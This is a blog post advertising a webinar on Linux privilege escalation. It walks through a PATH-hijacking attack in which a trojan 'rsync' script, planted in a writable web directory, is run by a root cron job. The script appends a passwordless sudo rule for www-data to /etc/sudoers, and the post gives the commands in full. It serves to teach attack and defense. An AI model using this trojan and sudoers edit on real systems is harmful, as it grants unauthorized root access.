Linux Privilege Escalation: How an Attacker can Escalate from Low-Level Privileges to Root

In this demo-filled webinar on privilege escalation, I demonstrate how to hack five different Capture the Flag (CTF) Linux virtual machines. On each CTF virtual machine, I demonstrate a distinct method of escalating privilege in Linux. What makes these demonstrations particularly useful is that they don’t target a vulnerability that’s here today, patched tomorrow. An attacker can exploit these machines because of a configuration vulnerability, the likes of which will show up on systems for decades.

To keep this blog post interesting, even after you’ve watched the webinar, let’s explore a type of privilege escalation attack that isn’t demonstrated in the webcast.

Think of yourself here as an attacker who has just gained a low-privilege shell on a system. More specifically, you’ve compromised a web application with a remote code execution vulnerability and now you have a reverse shell running as the web server’s www-data user.

Suppose you run echo $PATH and notice your $PATH variable starts a single period “.” entry? That means that your bash shell will check the current directory for commands. Like, when you type “passwd” to change your password, the shell will run ./passwd (if it exists) instead of the system’s /usr/bin/passwd binary. However, this configuration isn’t useful to you unless other users share it too. So, you check out the files that define PATH variables for everyone on the system, files like: /etc/profile and /etc/bash.bashrc. You notice that one of these sets the PATH variable to include the current directory, with a “.” entry. As an “attacker”, that’s a great sign!

Next, you need to find a directory to which you can write. If a user or script ever had that directory as its current working directory, you’ll be able to gain the same privilege that user or script has. Suppose you take a look at /usr/local/sbin, where many sites put their custom scripts, and find scripts that are world-readable. You find one called “mirror-web-server.sh.” Here are the contents, which we’ll explain next:

#!/bin/bash

cd /var/www/html/

rsync -auv ./ www@disaster-recovery-web-server:/var/www/html/ --delete

This script switches into the /var/www/html directory, where the web server you just compromised gets its files to serve. It then runs a synchronization command that sends any new or updated files from the source machine to the destination machine, a web server in the company’s disaster recovery data center. Things like this are reasonably common, if kludgy, ways of maintaining a disaster recovery environment, or a simple backup.

Let’s imagine that you found this script mentioned in the /etc/cron.hourly crontab file. That means that this script is going to change directory into /var/www/html, to which you have write access, and run an rsync command. This normally causes the shell to execute “/usr/bin/rsync.” You create an rsync command in /var/www/html/ with these contents:

#!/bin/bash

echo “www-data ALL=(ALL) NOPASSWD:ALL“ >>/etc/sudoers

/usr/bin/rsync $*

This script will add the www-data user to the /etc/sudoers file, allowing that user to run any command as root, without having to enter any kind of password.

Set the script’s permissions to world-readable and executable:

chmod ugo+rx /var/www/html/rsync

Now, you’ve trojan-horsed the mirror-web-server.sh’s use of the rsync command. Wait an hour and you’ll find your www-data user can “sudo su” its way to root without a password!

If you enjoyed what you just learned in this blog, please check out my webinar Attacking and Defending Linux Systems – Privilege Escalation.

Other Linux Attack & Defense Webinars

Linux Attack and Defense: The Matrix

Linux Attack and Defense - Office Space Style!